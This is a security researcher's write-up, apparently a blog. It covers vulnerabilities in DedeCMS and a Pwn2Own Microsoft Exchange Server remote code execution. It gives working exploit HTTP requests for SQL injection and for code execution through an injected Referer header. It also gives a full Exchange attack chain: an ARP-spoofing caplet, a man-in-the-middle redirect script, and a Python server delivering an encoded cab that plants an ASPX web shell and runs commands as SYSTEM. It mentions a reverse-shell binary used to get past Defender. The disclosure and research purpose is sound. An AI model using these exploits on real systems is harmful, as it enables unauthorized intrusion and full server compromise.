    //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
    function CheckRequest(&$val)
    {
        if (is_array($val)) {
            foreach ($val as $_k => $_v) {
                if ($_k == 'nvarname') {
                    continue;
                }

                CheckRequest($_k);
                CheckRequest($val[$_k]);
            }
        } else {
            if (strlen($val) > 0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#', $val)) { // 2
                exit('Request var not allow!');
            }
        }
    }

    CheckRequest($_REQUEST);
    CheckRequest($_COOKIE);

    foreach (array('_GET', '_POST', '_COOKIE') as $_request) {
        foreach ($$_request as $_k => $_v) {
            if ($_k == 'nvarname') {
                ${$_k} = $_v;
            } else {
                ${$_k} = _RunMagicQuotes($_v); // 1
            }

        }
    }
}

If we pay close attention here, we can see at [1] that the code re-enables register_globals which has been since removed in PHP 5.4.

register_globals has been a huge problem for applications in the past and enables a very rich attack surface which is one of the reasons why PHP has had such a bad reputation in the past. Also note here that they do not protect the $_SERVER or $_FILES super global arrays at [2].

This can lead to such risks as open redirect http://target.tld/dede/co_url.php?_SERVER[SERVER_SOFTWARE]=PHP%201%20Development%20Server&_SERVER[SCRIPT_NAME]=http://google.com/ or phar deserialization in include/uploadsafe.inc.php at line [3]

foreach ($_FILES as $_key => $_value) {
    foreach ($keyarr as $k) {
        if (!isset($_FILES[$_key][$k])) {
            exit("DedeCMS Error: Request Error!");
        }
    }
    if (preg_match('#^(cfg_|GLOBALS)#', $_key)) {
        exit('Request var not allow for uploadsafe!');
    }
    $$_key = $_FILES[$_key]['tmp_name'];
    ${$_key . '_name'} = $_FILES[$_key]['name'];  // 4
    ${$_key . '_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
    ${$_key . '_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#', '', $_FILES[$_key]['size']);

    if (is_array(${$_key . '_name'}) && count(${$_key . '_name'}) > 0) {
        foreach (${$_key . '_name'} as $key => $value) {
            if (!empty($value) && (preg_match("#\.(" . $cfg_not_allowall . ")$#i", $value) || !preg_match("#\.#", $value))) {
                if (!defined('DEDEADMIN')) {
                    exit('Not Admin Upload filetype not allow !');
                }
            }
        }
    } else {
        if (!empty(${$_key . '_name'}) && (preg_match("#\.(" . $cfg_not_allowall . ")$#i", ${$_key . '_name'}) || !preg_match("#\.#", ${$_key . '_name'}))) {
            if (!defined('DEDEADMIN')) {
                exit('Not Admin Upload filetype not allow !');
            }
        }
    }

    if (empty(${$_key . '_size'})) {
        ${$_key . '_size'} = @filesize($$_key); // 3
    }
GET /plus/recommend.php?_FILES[poc][name]=0&_FILES[poc][type]=1337&_FILES[poc][tmp_name]=phar:///path/to/uploaded/phar.rce&_FILES[poc][size]=1337 HTTP/1.1
Host: target

I didn’t report these bugs because they provided no impact (otherwise I would have called them vulnerabilities). The open URL redirection bug cannot further an attacker on its own and the phar deserialization bug cannot be triggered without a gadget chain.

The trained eye will spot something extra interesting though. At line [4] the code creates an attacker controlled variable using the _name string which will be unfiltered from _RunMagicQuotes. This means that an attacker with admin credentials can trigger an SQL injection in the sys_payment.php script by bypassing the _RunMagicQuotes function using a file upload:

For reference’s sake, we can see how the SQL injection manifests inside dede/sys_payment.php:

//配置支付接口
else if ($dopost == 'config') { // 5
    if ($pay_name == "" || $pay_desc == "" || $pay_fee == "") { // 6
        ShowMsg("您有未填写的项目!", "-1");
        exit();
    }
    $row = $dsql->GetOne("SELECT * FROM `#@__payment` WHERE id='$pid'");
    if ($cfg_soft_lang == 'utf-8') {
        $config = AutoCharset(unserialize(utf82gb($row['config'])));
    } else if ($cfg_soft_lang == 'gb2312') {
        $config = unserialize($row['config']);
    }
    $payments = "'code' => '" . $row['code'] . "',";
    foreach ($config as $key => $v) {
        $config[$key]['value'] = ${$key};
        $payments .= "'" . $key . "' => '" . $config[$key]['value'] . "',";
    }
    $payments = substr($payments, 0, -1);
    $payment = "\$payment=array(" . $payments . ")";
    $configstr = "<" . "?php\r\n" . $payment . "\r\n?" . ">\r\n";
    if (!empty($payment)) {
        $m_file = DEDEDATA . "/payment/" . $row['code'] . ".php";
        $fp = fopen($m_file, "w") or die("写入文件 $safeconfigfile 失败,请检查权限!");
        fwrite($fp, $configstr);
        fclose($fp);
    }
    if ($cfg_soft_lang == 'utf-8') {
        $config = AutoCharset($config, 'utf-8', 'gb2312');
        $config = serialize($config);
        $config = gb2utf8($config);
    } else {
        $config = serialize($config);
    }

    $query = "UPDATE `#@__payment` SET name = '$pay_name',fee='$pay_fee',description='$pay_desc',config='$config',enabled='1' WHERE id='$pid'"; // 7
    $dsql->ExecuteNoneQuery($query); // 8

At [5] and [6] there are some checks that $dopost is set to config and that $pay_name, $pay_desc and $pay_fee are set from the request. Later at [7] the code builds a raw SQL query using the attacker supplied $pay_name and finally at [8] what I thought was an SQL injection is triggered…

Defense in Depth

In the past Dedecms developers have been hit hard with SQL injection vulnerabilities (probably due to register_globals being enabled at the source code level). In the above example, we get a response from the server as Safe Alert: Request Error step 2 and of course our injection fails. Why is that? Look at the include/dedesqli.class.php to find out:

//SQL语句过滤程序,由80sec提供,这里作了适当的修改
function CheckSql($db_string, $querytype = 'select')
{

    // ...more checks...

    //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
    if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) {
        $fail = true;
        $error = "union detect";
    }

    // ...more checks...

    //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
    elseif (preg_match('~\([^)]*?select~s', $clean) != 0) {
        $fail = true;
        $error = "sub select detect";
    }
    if (!empty($fail)) {
        fputs(fopen($log_file, 'a+'), "$userIP||$getUrl||$db_string||$error\r\n");
        exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");  // 9
    } else {
        return $db_string;
    }

Now I don’t know who 80Sec is, but they seem serious. The CheckSql is called from Execute

    //执行一个带返回结果的SQL语句,如SELECT,SHOW等
    public function Execute($id = "me", $sql = '')
    {

        //...

        //SQL语句安全检查
        if ($this->safeCheck) {
            CheckSql($this->queryString);
        }

and SetQuery:

    public function SetQuery($sql)
    {
        $prefix = "#@__";
        $sql = trim($sql);
        if (substr($sql, -1) !== ";") {
            $sql .= ";";
        }
        $sql = str_replace($prefix, $GLOBALS['cfg_dbprefix'], $sql);

        CheckSql($sql, $this->getSQLType($sql)); // 5.7前版本仅做了SELECT的过滤,对UPDATE、INSERT、DELETE等语句并未过滤。
         
        $this->queryString = $sql;
    }

But we can avoid this function by using another function that also calls mysqli_query such as GetTableFields:

    //获取特定表的信息
    public function GetTableFields($tbname, $id = "me")
    {
        global $dsqli;
        if (!$dsqli->isInit) {
            $this->Init($this->pconnect);
        }
        $prefix = "#@__";
        $tbname = str_replace($prefix, $GLOBALS['cfg_dbprefix'], $tbname);
        $query = "SELECT * FROM {$tbname} LIMIT 0,1";
        $this->result[$id] = mysqli_query($this->linkID, $query);
    }

This is not, just any old sink though. This one doesn’t use quotes, so we don’t need to break out of a quoted string, which is required since our input will flow through the _RunMagicQuotes function. Usage of GetTableFields in a dangerous way can be found in the dede/sys_data_done.php script at line [10]:

if ($dopost == 'bak') {
    if (empty($tablearr)) {
        ShowMsg('你没选中任何表!', 'javascript:;');
        exit();
    }
    if (!is_dir($bkdir)) {
        MkdirAll($bkdir, $cfg_dir_purview);
        CloseFtp();
    }

    if (empty($nowtable)) {
        $nowtable = '';
    }
    if (empty($fsize)) {
        $fsize = 20480;
    }
    $fsizeb = $fsize * 1024;
    
    //第一页的操作
    if ($nowtable == '') {
        //...
    }
    //执行分页备份
    else {
        $j = 0;
        $fs = array();
        $bakStr = '';

        //分析表里的字段信息
        $dsql->GetTableFields($nowtable); // 10
GET /dede/sys_data_done.php?dopost=bak&tablearr=1&nowtable=%23@__vote+where+1=sleep(5)--+& HTTP/1.1
Host: target
Cookie: PHPSESSID=jr66dkukb66aifov2sf2cuvuah;

But of course, this requires administrator privileges, which is not interesting to us (without an elevation of privilege or authentication bypass).

Finding a pre-authenticated endpoint

If we try a little harder though, we can find some more interesting code in include/filter.inc.php in the slightly older version: DedeCMS-V5.7-UTF8-SP2.tar.gz.

$magic_quotes_gpc = ini_get('magic_quotes_gpc');
function _FilterAll($fk, &$svar)
{
    global $cfg_notallowstr, $cfg_replacestr, $magic_quotes_gpc;
    if (is_array($svar)) {
        foreach ($svar as $_k => $_v) {
            $svar[$_k] = _FilterAll($fk, $_v);
        }
    } else {
        if ($cfg_notallowstr != '' && preg_match("#" . $cfg_notallowstr . "#i", $svar)) {
            ShowMsg(" $fk has not allow words!", '-1');
            exit();
        }
        if ($cfg_replacestr != '') {
            $svar = preg_replace('/' . $cfg_replacestr . '/i', "***", $svar);
        }
    }
    if (!$magic_quotes_gpc) {
        $svar = addslashes($svar);
    }
    return $svar;
}

/* 对_GET,_POST,_COOKIE进行过滤 */
foreach (array('_GET', '_POST', '_COOKIE') as $_request) {
    foreach ($$_request as $_k => $_v) {
        ${$_k} = _FilterAll($_k, $_v);
    }
}

Can you see what’s wrong here? The code sets $magic_quotes_gpc from the configuration. If it’s not set in the php.ini then addslashes is called. But we can fake that it’s set by using $magic_quotes_gpc in a request and re-writing that variable and avoiding the addslashes!

This code is used for submitting feedback which is performed by unauthenticated users. I decided to have a look and I found the following sink in /plus/bookfeedback.php:

else if($action=='send')
{
    //...
    //检查验证码
    if($cfg_feedback_ck=='Y')
    {
        $validate = isset($validate) ? strtolower(trim($validate)) : '';
        $svali = strtolower(trim(GetCkVdValue()));
        if($validate != $svali || $svali=='')
        {
            ResetVdValue();
            ShowMsg('验证码错误!','-1');
            exit();
        }
    }

    //...
    if($comtype == 'comments')
    {
        $arctitle = addslashes($arcRow['arctitle']);
        $arctitle = $arcRow['arctitle'];
        if($msg!='')
        {
            $inquery = "INSERT INTO `#@__bookfeedback`(`aid`,`catid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                   VALUES ('$aid','$catid','$username','$bookname','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";  // 11
            $rs = $dsql->ExecuteNoneQuery($inquery); // 12
            if(!$rs)
            {
                echo $dsql->GetError();
                exit();
            }
        }
    }

At [11] we can see that the code builds up a query using attacker controlled input such as $catid and $bookname. It’s possible to land in this sink and bypass the addslashes to trigger an unauthenticated SQL injection:

POST /plus/bookfeedback.php?action=send&fid=1337&validate=FS0Y&isconfirm=yes&comtype=comments HTTP/1.1
Host: target
Cookie: PHPSESSID=0ft86536dgqs1uonf64bvjpkh3;
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

magic_quotes_gpc=1&catid=1',version(),concat('&bookname=')||'s&msg=pwn

We have a session cookie set because it’s tied to the captcha code which is stored in an unauthentciated session:

I couldn’t bypass CheckSql (un)fortunately, but I could side step and leak some data from the database because I could use both the $catid and $bookname for the injection and then (ab)use a second order:

else if($action=='quote')
{
    $row = $dsql->GetOne("Select * from `#@__bookfeedback` where id ='$fid'");
    require_once(DEDEINC.'/dedetemplate.class.php');
    $dtp = new DedeTemplate();
    $dtp->LoadTemplate($cfg_basedir.$cfg_templets_dir.'/plus/bookfeedback_quote.htm');
    $dtp->Display();
    exit();
}

All I had to do was guess the $fid (primary key) and check that it matched by injected $msg of pwn and if it did, I knew that the result from the injection was revealed to me:

However this SQL injection was limited because I couldn’t use select, sleep or benchmark keywords since they were denyed by the CheckSql function. Since finding that vulnerability though, it appears that the developers removed the /plus/bookfeedback.php file in the latest release but the core issue of bypassing addslashes still exists. At this point if we’re going to find critical vulnerabilities we need to focus on a different bug class.

ShowMsg Template Injection Remote Code Execution Vulnerability

  • CVSS: 9.8 (/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • Version: 5.8.1 pre-release

Summary

An unauthenticated attacker can execute arbitrary code against vulnerable versions of Dedecms.

Vulnerability Analysis

Inside of the plus/flink.php script:

if ($dopost == 'save') {
    $validate = isset($validate) ? strtolower(trim($validate)) : '';
    $svali = GetCkVdValue();
    if ($validate == '' || $validate != $svali) {
        ShowMsg('验证码不正确!', '-1'); // 1
        exit();
    }

At [1] we can observe a call to ShowMsg which is defined in include/common.func.php:

function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
{
    if (empty($GLOBALS['cfg_plus_dir'])) {
        $GLOBALS['cfg_plus_dir'] = '..';
    }
    if ($gourl == -1) { // 2
        $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; // 3
        if ($gourl == "") {
            $gourl = -1;
        }
    }

    $htmlhead = "
    <html>\r\n<head>\r\n<title>DedeCMS提示信息
    ...
    <script>\r\n";
    $htmlfoot = "
    </script>
    ...
    </body>\r\n</html>\r\n";

    $litime = ($limittime == 0 ? 1000 : $limittime);
    $func = '';

    //...

    if ($gourl == '' || $onlymsg == 1) {
        //...
    } else {
        //...
        $func .= "var pgo=0;
      function JumpUrl(){
        if(pgo==0){ location='$gourl'; pgo=1; }
      }\r\n";
        $rmsg = $func;
        //...
        if ($onlymsg == 0) {
            if ($gourl != 'javascript:;' && $gourl != '') {
                $rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>";
                $rmsg .= "<br/></div>\");\r\n";
                $rmsg .= "setTimeout('JumpUrl()',$litime);";
            } else {
                //...
            }
        } else {
            //...
        }
        $msg = $htmlhead . $rmsg . $htmlfoot;
    }

    $tpl = new DedeTemplate();
    $tpl->LoadString($msg); // 4
    $tpl->Display(); // 5
}

We can see at [2] that if $gourl is set to -1 then the attacker can control the $gourl variable at [3] via the referer header. That variable is unfiltered and embedded twice in the $msg variable which is loaded by the LoadString call at [4] and parsed by the Display call at [5]. Inside of include/dedetemplate.class.php we find:

class DedeTemplate
{
    //...
    public function LoadString($str = '')
    {
        $this->sourceString = $str; // 6
        $hashcode = md5($this->sourceString);
        $this->cacheFile = $this->cacheDir . "/string_" . $hashcode . ".inc";
        $this->configFile = $this->cacheDir . "/string_" . $hashcode . "_config.inc";
        $this->ParseTemplate();
    }
    
    //...
    public function Display()
    {
        global $gtmpfile;
        extract($GLOBALS, EXTR_SKIP);
        $this->WriteCache(); // 7
        include $this->cacheFile; // 9
    }

At [6] the sourceString is set with the attacker-controlled $msg. Then at [7] WriteCache is called:

    public function WriteCache($ctype = 'all')
    {
        if (!file_exists($this->cacheFile) || $this->isCache == false
            || (file_exists($this->templateFile) && (filemtime($this->templateFile) > filemtime($this->cacheFile)))
        ) {
            if (!$this->isParse) {
                //...
            }
            $fp = fopen($this->cacheFile, 'w') or dir("Write Cache File Error! ");
            flock($fp, 3);
            $result = trim($this->GetResult()); // 8
            $errmsg = '';     
            if (!$this->CheckDisabledFunctions($result, $errmsg)) { // 9
                fclose($fp);
                @unlink($this->cacheFile);
                die($errmsg);
            }
            fwrite($fp, $result);
            fclose($fp);
            //...
        }

At [8] the code calls GetResult which returns the value in sourceString to set the $result variable which now contains attacker-controlled input. At [9] the CheckDisabledFunctions function is called on the $result variable. Let’s see what CheckDisabledFunctions is all about:

    public function CheckDisabledFunctions($str, &$errmsg = '')
    {
        global $cfg_disable_funs;
        $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';
        // 模板引擎增加disable_functions
        if (!defined('DEDEDISFUN')) {
            $tokens = token_get_all_nl($str);
            $disabled_functions = explode(',', $cfg_disable_funs);
            foreach ($tokens as $token) {
                if (is_array($token)) {
                    if ($token[0] = '306' && in_array($token[1], $disabled_functions)) {
                        $errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" <a href="http://help.dedecms.com/install-use/apply/2013/0711/2324.html" target="_blank">more...</a>';
                        return false;
                    }
                }
            }
        }
        return true;
    }

Well. It’s possible for an attacker to bypass this deny list in several ways with some creativity, write malicious php into the temporary file and finally reach the include in Display at [9] to execute arbitrary code.

Proof of Concept

It’s possible to borrow their own code and call dangerous functions, but there are several generic ways to bypass the deny list anyway. The referer header isn’t checked for double quotes so the following payload will work:

GET /plus/flink.php?dopost=save&c=id HTTP/1.1
Host: target
Referer: <?php "system"($c);die;/*

The following (non-exhaustive) list paths can reach the vulnerability:

  1. /plus/flink.php?dopost=save
  2. /plus/users_products.php?oid=1337
  3. /plus/download.php?aid=1337
  4. /plus/showphoto.php?aid=1337
  5. /plus/users-do.php?fmdo=sendMail
  6. /plus/posttocar.php?id=1337
  7. /plus/vote.php?dopost=view
  8. /plus/carbuyaction.php?do=clickout
  9. /plus/recommend.php

Reporting

I found this vulnerability around April 2021 but decided to sit on it since it only impacted the pre-release and not the release version. After months of inactivity on the repo, I decided to report the bug on 23rd of September to [email protected] and 2 days later a silent patch was released that addressed the bug:

Due to this behaviour from the developer, I decided to not report the rest of the RCE vulnerabilities that impact the release version. Whilst I agree that a CVE is not required, I do think a security note should have been added to the commit at the very least.

Conclusion

I really like auditing Chinese software because the developers tend to think very differently to westerner developers. There logic flow is more fluid and as a security auditor, it requires you to think on your feet and change stratagies as you see new patterns in the code emerging.

It’s a simple reminder that even if a product has been audited to death, do not lose faith in yourself. Your next RCE is right around the corner even if you do not speak Chinese.

References

Pwn2Own Vancouver 2021 :: Microsoft Exchange Server Remote Code Execution

25 August 2021 at 14:00

Exchange Online

In mid-November 2020 I discovered a logical remote code execution vulnerability in Microsoft Exchange Server that had a bizarre twist - it required a morpheus in the middle (MiTM) attack to take place before it could be triggered. I found this bug because I was looking for calls to WebClient.DownloadFile in the hope to discover a server-side request forgery vulnerability since in some environments within exchange server, that type of vulnerability can have drastic impact. Later, I found out that SharePoint Server was also affected by essentially the same code pattern.

TL; DR; This post is a quick breakdown of the vulnerability I used at Pwn2Own Vancouver 2021 to partially win the entry for Microsoft Exchange Server.

Vulnerability Summary

An unauthenticated attacker in a privileged network position such as MiTM attack can trigger a remote code execution vulnerability when an administrative user runs the Update-ExchangeHelp or Update-ExchangeHelp -Forcecommand in the Exchange Management Shell.

Vulnerability Analysis

Inside of the Microsoft.Exchange.Management.dll file the Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand class is defined:

protected override void InternalProcessRecord()
{
    TaskLogger.LogEnter();
    UpdatableExchangeHelpSystemException ex = null;
    try
    {
        ex = this.helpUpdater.UpdateHelp();    // 1
    }
    //...

At [1] the code calls the HelpUpdater.UpdateHelp method. Inside of the Microsoft.Exchange.Management.UpdatableHelp.HelpUpdater class we see:

internal UpdatableExchangeHelpSystemException UpdateHelp()
{
    double num = 90.0;
    UpdatableExchangeHelpSystemException result = null;
    this.ProgressNumerator = 0.0;
    if (this.Cmdlet.Force || this.DownloadThrottleExpired())
    {
        try
        {
            this.UpdateProgress(UpdatePhase.Checking, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
            string path = this.LocalTempBase + "UpdateHelp.$$$\\";
            this.CleanDirectory(path);
            this.EnsureDirectory(path);
            HelpDownloader helpDownloader = new HelpDownloader(this);
            helpDownloader.DownloadManifest();    // 2

This function performs a few actions. The first is at [2] when DownloadManifest is called. Let’s take a look at Microsoft.Exchange.Management.UpdatableHelp.HelpDownloader.DownloadManifest:

internal void DownloadManifest()
{
    string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);
    if (!this.helpUpdater.Cmdlet.Abort)
    {
        this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));  // 3
    }
}

At [3] the code is calling AsyncDownloadFile using a the ManifestUrl. The ManifestUrl is set when the LoadConfiguration method is called from InternalValidate:

protected override void InternalValidate()
{
    TaskLogger.LogEnter();
    UpdatableExchangeHelpSystemException ex = null;
    try
    {
        this.helpUpdater.LoadConfiguration();   // 4
    }
internal void LoadConfiguration()
{
    //...
    RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
    if (registryKey3 == null)
    {
        registryKey3 = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
    }
    if (registryKey3 != null)
	{
        try
		{
            this.ManifestUrl = registryKey3.GetValue("ManifestUrl", "http://go.microsoft.com/fwlink/p/?LinkId=287244").ToString();  // 5

At [4] the code calls LoadConfiguration during the validation of the arguments to the cmdlet. This sets the ManifestUrl to http://go.microsoft.com/fwlink/p/?LinkId=287244 if it does not exist in the registry hive: HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp at [5]. By default, it does not so the value is always http://go.microsoft.com/fwlink/p/?LinkId=287244.

Back to AsyncDownloadFile at [3] this method will use the WebClient.DownloadFileAsync API to download a file onto the filesystem. Since we cannot control the local file path, there is no vuln here. Later in UpdateHelp, we see the following code:

//...
if (!this.Cmdlet.Abort)
{
    UpdatableHelpVersionRange updatableHelpVersionRange = helpDownloader.SearchManifestForApplicableUpdates(this.CurrentHelpVersion, this.CurrentHelpRevision); // 6
    if (updatableHelpVersionRange != null)
    {
        double num2 = 20.0;
        this.ProgressNumerator = 10.0;
        this.UpdateProgress(UpdatePhase.Downloading, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
        string[] array = this.EnumerateAffectedCultures(updatableHelpVersionRange.CulturesAffected);
        if (array.Length != 0)  // 7
        {
            this.Cmdlet.WriteVerbose(UpdatableHelpStrings.UpdateApplyingRevision(updatableHelpVersionRange.HelpRevision, string.Join(", ", array)));
            helpDownloader.DownloadPackage(updatableHelpVersionRange.CabinetUrl);  // 8
            if (this.Cmdlet.Abort)
            {
                return result;
            }
            this.ProgressNumerator += num2;
            this.UpdateProgress(UpdatePhase.Extracting, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
            HelpInstaller helpInstaller = new HelpInstaller(this, array, num);
            helpInstaller.ExtractToTemp();  // 9
            //...

There is a lot to unpack here (excuse the pun). At [6] the code searches through the downloaded manifest file for a specific version or version range and ensures that the version of Exchange server falls within that range. The check also ensures that the new revision number is higher than the current revision number. If these requirements are satisfied, the code then proceeds to [7] where the culture is checked. Since I was targeting the English language pack, I set this to en so that a valid path can be later constructed. Then at [8] the CabinetUrl is downloaded and stored. This is a .cab file specified in the xml manifest file.

Finally at [9] the cab file is extracted using Microsoft.Exchange.Management.UpdatableHelp.HelpInstaller.ExtractToTemp method:

internal int ExtractToTemp()
{
    this.filesAffected = 0;
    this.helpUpdater.EnsureDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
    this.helpUpdater.CleanDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
    bool embedded = false;
    string filter = "";
    int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);   // 10
    this.cabinetFiles = new Dictionary<string, List<string>>();
    this.helpUpdater.RecursiveDescent(0, this.helpUpdater.LocalCabinetExtractionTargetPath, string.Empty, this.affectedCultures, false, this.cabinetFiles);
    this.filesAffected = result;
    return result;
}

At [10] the code calls Microsoft.Exchange.CabUtility.EmbeddedCabWrapper.ExtractCabFiles from the Microsoft.Exchange.CabUtility.dll which is a mix mode assembly containing native code to extract cab files with the exported function ExtractCab. Unfortunately, this parser does not register a callback function before extraction to verify files do not contain a directory traversal. This allowed me to write arbitrary files to arbitrary locations.

Exploitation

A file write vulnerability does not necessarily mean remote code execution, but in the context of web applications it quite often does. The attack I presented at Pwn2Own wrote to the C:/inetpub/wwwroot/aspnet_client directory and that allowed me to make a http request for the shell to execute arbitrary code as SYSTEM without authentication.

Let us review the setup so we can visualize the attack.

Setup

The first step will require you to perform an ARP spoof against the target system. For this stage I choose to use bettercap, which allows you to define caplets that can automate itself. I think the last time I did a targeted MiTM attack was about 12 years ago! Here is the contents of my poc.cap file which sets up the ARP spoof and a proxy script to intercept and respond to specific http requests:

set http.proxy.script poc.js
http.proxy on
set arp.spoof.targets 192.168.0.142
events.stream off
arp.spoof on

The poc.js file is the proxy script that I wrote to intercept the targets request and redirect it to the attackers hosted configuration file at http://192.168.0.56:8000/poc.xml.

function onLoad() {
    log_info("Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability")
    log_info("Found by Steven Seeley of Source Incite")
}

function onRequest(req, res) {
    log_info("(+) triggering mitm");
    var uri = req.Scheme + "://" +req.Hostname + req.Path + "?" + req.Query;
    if (uri === "http://go.microsoft.com/fwlink/p/?LinkId=287244"){
        res.Status = 302;
        res.SetHeader("Location", "http://192.168.0.56:8000/poc.xml");
    }
}

This poc.xml manifest file contains the CabinetUrl hosting the malicious cab file along with the Version range that the update is targeting:

<ExchangeHelpInfo>
  <HelpVersions>
    <HelpVersion>
      <Version>15.2.1.1-15.2.999.9</Version>
      <Revision>1</Revision>
      <CulturesUpdated>en</CulturesUpdated>
      <CabinetUrl>http://192.168.0.56:8000/poc.cab</CabinetUrl>
    </HelpVersion>
  </HelpVersions>
</ExchangeHelpInfo>

I packaged up the manifest and poc.cab file delivery process into a small little python http server, poc.py that will also attempt access to the poc.aspx file with a command to be executed as SYSTEM:

import sys
import base64
import urllib3
import requests
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class CabRequestHandler(SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def do_GET(self):
        if self.path.endswith("poc.xml"):
            print("(+) delivering xml file...")
            xml = """<ExchangeHelpInfo>
  <HelpVersions>
    <HelpVersion>
      <Version>15.2.1.1-15.2.999.9</Version>
      <Revision>%s</Revision>
      <CulturesUpdated>en</CulturesUpdated>
      <CabinetUrl>http://%s:8000/poc.cab</CabinetUrl>
    </HelpVersion>
  </HelpVersions>
</ExchangeHelpInfo>""" % (r, s)
            self.send_response(200)
            self.send_header('Content-Type', 'application/xml')
            self.send_header("Content-Length", len(xml))
            self.end_headers()
            self.wfile.write(str.encode(xml))
        elif self.path.endswith("poc.cab"):
            print("(+) delivering cab file...")
            # created like: makecab /d "CabinetName1=poc.cab" /f files.txt
            # files.txt contains: "poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx"
            # poc.aspx contains: <%=System.Diagnostics.Process.Start("cmd", Request["c"])%> 
            stage_2  = "TVNDRgAAAAC+AAAAAAAAACwAAAAAAAAAAwEBAAEAAAAPEwAAeAAAAAEAAQA6AAAA"
            stage_2 += "AAAAAAAAZFFsJyAALi4vLi4vLi4vLi4vLi4vLi4vLi4vaW5ldHB1Yi93d3dyb290"
            stage_2 += "L2FzcG5ldF9jbGllbnQvcG9jLmFzcHgARzNy0T4AOgBDS7NRtQ2uLC5JzdVzyUxM"
            stage_2 += "z8svLslMLtYLKMpPTi0u1gsuSSwq0VBKzk1R0lEISi0sTS0uiVZKVorVVLUDAA=="
            p = base64.b64decode(stage_2.encode('utf-8'))
            self.send_response(200)
            self.send_header('Content-Type', 'application/x-cab')
            self.send_header("Content-Length", len(p))
            self.end_headers()
            self.wfile.write(p)
            return

if __name__ == '__main__':
    if len(sys.argv) != 5:
        print("(+) usage: %s <target> <connectback> <revision> <cmd>" % sys.argv[0])
        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 mspaint" % sys.argv[0])
        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 \"whoami > c:/poc.txt\"" % sys.argv[0])
        sys.exit(-1)
    t = sys.argv[1]
    s = sys.argv[2]
    port = 8000
    r = sys.argv[3]
    c = sys.argv[4]
    print("(+) server bound to port %d" % port)
    print("(+) targeting: %s using cmd: %s" % (t, c))
    httpd = HTTPServer(('0.0.0.0', int(port)), CabRequestHandler)
    handlerthr = Thread(target=httpd.serve_forever, args=())
    handlerthr.daemon = True
    handlerthr.start()
    p = { "c" : "/c %s" % c }
    try:
        while 1:
            req = requests.get("https://%s/aspnet_client/poc.aspx" % t, params=p, verify=False)
            if req.status_code == 200:
                break
        print("(+) executed %s as SYSTEM!" % c)
    except KeyboardInterrupt:
        pass

On each attack attempt, the Revision number needs to be increased because the code will write the value into the registry and after downloading the manifest file, will verify that the file contains a higher Revision number before proceeding to download and extract the cab file.

Bypassing Windows Defender

Executing mspaint is kool and all, but for Pwn2Own we needed a Defender bypass to pop thy shell. After Orange Tsai dropped the details of his ProxyLogin exploit, Microsoft decided to attempt to detect asp.net web shells. So I took a different route than Orange by compiling a custom binary that executed a reverse shell and dropping it onto disk and executing it to side step Defender.

Example Attack

We start by running Bettercap with the poc.cap caplet file:

researcher@pluto:~/poc-exchange$ sudo bettercap -caplet poc.cap
bettercap v2.28 (built for linux amd64 with go1.13.12) [type 'help' for a list of commands]

[12:23:13] [sys.log] [inf] Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability
[12:23:13] [sys.log] [inf] Found by Steven Seeley of Source Incite
[12:23:13] [sys.log] [inf] http.proxy enabling forwarding.
[12:23:13] [sys.log] [inf] http.proxy started on 192.168.0.56:8080 (sslstrip disabled)

Now we ping the target (to update the targets cached Arp table) and run the poc.py and wait for an administrative user to run Update-ExchangeHelp or Update-ExchangeHelp -Force in the Exchange Management Console (EMC) (-Force is required if the Update-ExchangeHelp command has been ran within the last 24 hours):

researcher@pluto:~/poc-exchange$ ./poc.py 
(+) usage: ./poc.py <target> <connectback> <revision> <cmd>
